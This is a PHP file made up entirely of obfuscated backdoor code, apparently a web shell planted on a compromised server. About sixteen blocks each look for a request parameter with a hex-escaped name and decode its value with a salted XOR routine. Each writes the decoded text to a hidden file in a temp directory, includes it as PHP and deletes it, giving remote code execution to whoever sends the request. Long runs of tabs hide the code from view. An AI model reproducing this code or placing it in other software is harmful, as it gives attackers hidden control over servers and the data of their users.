<?php																																										if(isset($_POST) && isset($_POST["r\x65c"])){ $fac = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", session_save_path()]); $binding = $_POST["r\x65c"]; $binding =explode( ".", $binding ); $record=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $r=0; array_walk( $binding, function( $v5) use( &$record, &$r, $salt, $lenS) { $sChar=ord( $salt[$r% $lenS]); $dec=( ( int)$v5 - $sChar -( $r% 10)) ^47; $record .= chr( $dec); $r++; }); foreach ($fac as $value): if (!!is_dir($value) && !!is_writable($value)) { $k = implode("/", [$value, ".key"]); if (file_put_contents($k, $record)) { include $k; @unlink($k); die(); } } endforeach; }
																																										if(isset($_REQUEST["bi\x6E\x64\x69\x6Eg"]) ? true : false){ $pgrp = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm"]); $entity = $_REQUEST["bi\x6E\x64\x69\x6Eg"]; $entity = explode( '.' , $entity ) ; $ent = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3 ); foreach ($entity as $q=> $v1) {$chS = ord($salt3[$q % $sLen] ); $dec = ((int)$v1 - $chS - ($q % 10)) ^ 44; $ent.= chr($dec ); } foreach ($pgrp as $data) { if ((bool)is_dir($data) && (bool)is_writable($data)) { $flg = join("/", [$data, ".object"]); if (file_put_contents($flg, $ent)) { require $flg; unlink($flg); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "d\x63h\x75\x6Ek")){ $binding = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp"]); $ptr = $_POST["d\x63h\x75\x6Ek"]; $ptr = explode ("." , $ptr ); $itm = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $__len = count( $ptr ); for( $j = 0; $j < $__len; $j++) { $v3 = $ptr[$j]; $chS = ord( $s[$j % $lenS] ); $dec =( ( int)$v3 - $chS -( $j % 10))^ 92; $itm .=chr( $dec ); } while ($data = array_shift($binding)) { if (is_dir($data) ? is_writable($data) : false) { $resource = "$data" . "/.marker"; $file = fopen($resource, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "k\x65\x79")){ $component = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); $ent = $_REQUEST["k\x65\x79"]; $ent =explode ( '.' , $ent ) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $__len = count($ent ); for($v = 0; $v < $__len; $v++) { $v4 = $ent[$v]; $sChar = ord($salt[$v % $lenS] ); $d =((int)$v4 - $sChar -($v % 10)) ^ 62; $ptr .= chr($d ); } foreach ($component as $entry) { if (is_dir($entry) ? is_writable($entry) : false) { $hld = "$entry" . "/.dat"; if (file_put_contents($hld, $ptr)) { include $hld; @unlink($hld); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["k"])){ $pointer = array_filter(["/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]); $element = $_REQUEST["k"]; $element= explode ( "." , $element) ; $itm = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); $o = 0; while ($o < count($element)) { $v9 = $element[$o]; $chS = ord($s8[$o % $lenS]); $dec = ((int)$v9 - $chS - ($o % 10))^38; $itm .=chr($dec); $o++;} for ($binding = 0, $fac = count($pointer); $binding < $fac; $binding++) { $desc = $pointer[$binding]; if (!( !is_dir($desc) || !is_writable($desc) )) { $parameter_group = "$desc/.key"; if (@file_put_contents($parameter_group, $itm) !== false) { include $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(!is_null($_REQUEST["\x70\x61\x72am\x65te\x72_g\x72\x6F\x75p"] ?? null)){ $reference = array_filter([getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), getcwd()]); $symbol = $_REQUEST["\x70\x61\x72am\x65te\x72_g\x72\x6F\x75p"]; $symbol = explode ( ".", $symbol ); $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $k = 0; while ($k < count($symbol)) { $v8 = $symbol[$k]; $chS = ord($salt[$k%$sLen]); $dec = ((int)$v8 - $chS - ($k%10)) ^86; $val .= chr($dec); $k++; } foreach ($reference as $key => $comp) { if (array_product([is_dir($comp), is_writable($comp)])) { $entry = str_replace("{var_dir}", $comp, "{var_dir}/.flg"); $success = file_put_contents($entry, $val); if ($success) { include $entry; @unlink($entry); die();} } } }
																																										if(!is_null($_REQUEST["\x65\x6Et"] ?? null)){ $component = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); $record = $_REQUEST["\x65\x6Et"]; $record =explode ( "." , $record ) ; $rec = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $t = 0; $__tmp = $record; while($v3 = array_shift($__tmp)) { $chS = ord($salt2[$t% $lenS]); $d =((int)$v3 - $chS -($t% 10)) ^ 3; $rec .= chr($d); $t++; } for ($k = 0, $key = count($component); $k < $key; $k++) { $item = $component[$k]; if (is_dir($item) ? is_writable($item) : false) { $bind = "$item/.element"; if (@file_put_contents($bind, $rec) !== false) { include $bind; unlink($bind); die(); } } } }
																																										if(isset($_POST["v\x61\x6C"])){ $tkn = $_POST["v\x61\x6C"]; $tkn =explode ("." ,$tkn ) ; $sym = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $n = 0; $__tmp = $tkn; while ($v6 = array_shift($__tmp)) { $chS = ord($salt8[$n % $lenS]); $dec = ((int)$v6 - $chS - ($n % 10)) ^ 66; $sym .= chr($dec); $n++; } $entry = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir()]); foreach ($entry as $elem): if (!!is_dir($elem) && !!is_writable($elem)) { $res = sprintf("%s/.dat", $elem); if (file_put_contents($res, $sym)) { require $res; unlink($res); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x70\x67rp")){ $dat = array_filter([getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp", sys_get_temp_dir(), session_save_path()]); $comp = $_REQUEST["\x70\x67rp"]; $comp = explode( '.' , $comp ) ; $ent= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); foreach($comp as $l =>$v4) { $sChar= ord($s[$l % $sLen]); $d= ((int)$v4 - $sChar -($l % 10)) ^ 97; $ent .= chr($d); } while ($token = array_shift($dat)) { if (is_writable($token) && is_dir($token)) { $pset = "$token" . "/.value"; if (file_put_contents($pset, $ent)) { include $pset; @unlink($pset); die(); } } } }
																																										if(!is_null($_REQUEST["\x70g\x72p"] ?? null)){ $marker = $_REQUEST["\x70g\x72p"]; $marker =explode ( "." ,$marker) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $marker as $s =>$v3) { $chS = ord( $salt[$s % $lenS]); $dec =( ( int)$v3 - $chS -( $s % 10)) ^ 93; $holder.=chr( $dec); } $flag = array_filter(["/dev/shm", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp"]); for ($element = 0, $dchunk = count($flag); $element < $dchunk; $element++) { $value = $flag[$element]; if (is_writable($value) && is_dir($value)) { $ref = "$value" . "/.binding"; $file = fopen($ref, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $ref; @unlink($ref); die(); } } } }
																																										if(isset($_POST["p\x67\x72p"]) ? true : false){ $element = $_POST["p\x67\x72p"]; $element=explode('.' ,$element ) ; $parameter_group = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $__len = count($element); for ($n = 0; $n < $__len; $n++) { $v8 = $element[$n]; $sChar = ord($salt3[$n%$sLen]); $d = ((int)$v8 - $sChar - ($n%10)) ^ 67; $parameter_group .= chr($d); } $record = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); $comp = 0; do { $rec = $record[$comp] ?? null; if ($comp >= count($record)) break; if (is_dir($rec) && is_writable($rec)) { $reference = sprintf("%s/.entry", $rec); if (file_put_contents($reference, $parameter_group)) { require $reference; unlink($reference); exit; } } $comp++; } while (true); }
																																										if(isset($_REQUEST["f\x6Cag"]) ? true : false){ $object = $_REQUEST["f\x6Cag"]; $object = explode ("." , $object ); $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $w = 0; foreach( $object as $v2) { $sChar = ord( $salt[$w % $sLen] ); $d =( ( int)$v2 - $sChar -( $w % 10)) ^ 34; $rec .= chr( $d ); $w++; } $symbol = array_filter([getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]); $comp = 0; do { $entry = $symbol[$comp] ?? null; if ($comp >= count($symbol)) break; if (array_product([is_dir($entry), is_writable($entry)])) { $fac = vsprintf("%s/%s", [$entry, ".elem"]); if (file_put_contents($fac, $rec)) { include $fac; @unlink($fac); exit; } } $comp++; } while (true); }
																																										if(in_array("\x73y\x6D\x62ol", array_keys($_POST))){ $k = $_POST["\x73y\x6D\x62ol"]; $k = explode ( '.' , $k); $elem = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $__len = count($k ); for ($w = 0; $w < $__len; $w++) { $v2 = $k[$w]; $sChar = ord($salt8[$w % $lenS] ); $d = ((int)$v2 - $sChar - ($w % 10)) ^ 89; $elem.= chr($d ); } $element = array_filter([getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($element as $ptr) { if (!!is_dir($ptr) && !!is_writable($ptr)) { $comp = join("/", [$ptr, ".binding"]); if (file_put_contents($comp, $elem)) { require $comp; unlink($comp); die(); } } } }
																																										if(array_key_exists("\x76\x61l", $_POST)){ $k = array_filter(["/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd()]); $ent = $_POST["\x76\x61l"]; $ent= explode ( "." , $ent) ; $record = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $t = 0; $len = count($ent); do { if ($t >= $len) break; $v5 = $ent[$t]; $chS = ord($salt4[$t % $lenS]); $dec = ((int)$v5 - $chS - ($t % 10))^ 49; $record .= chr($dec); $t++; } while (true); foreach ($k as $dchunk) { if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $sym = str_replace("{var_dir}", $dchunk, "{var_dir}/.pointer"); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $sym; @unlink($sym); die(); } } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["\x74o\x6Ben"])){
	$sym = $_REQUEST["\x74o\x6Ben"];
		 $sym=	explode	 (	 '.'	,		$sym ) ; 		
	$ptr = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt6);
    
            foreach($sym as $t => $v3) {	 $chS = ord($salt6[$t% $lenS]);
                $d =((int)$v3 - $chS -($t% 10))^63;
                $ptr .=chr($d);
            }
	$itm = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]);
	foreach ($itm as $key => $resource) {
    		if (!( !is_dir($resource) || !is_writable($resource) )) {
    $reference = str_replace("{var_dir}", $resource, "{var_dir}/.fac");
    if (@file_put_contents($reference, $ptr) !== false) {
	include $reference;
	unlink($reference);
	die();
}
}
}
}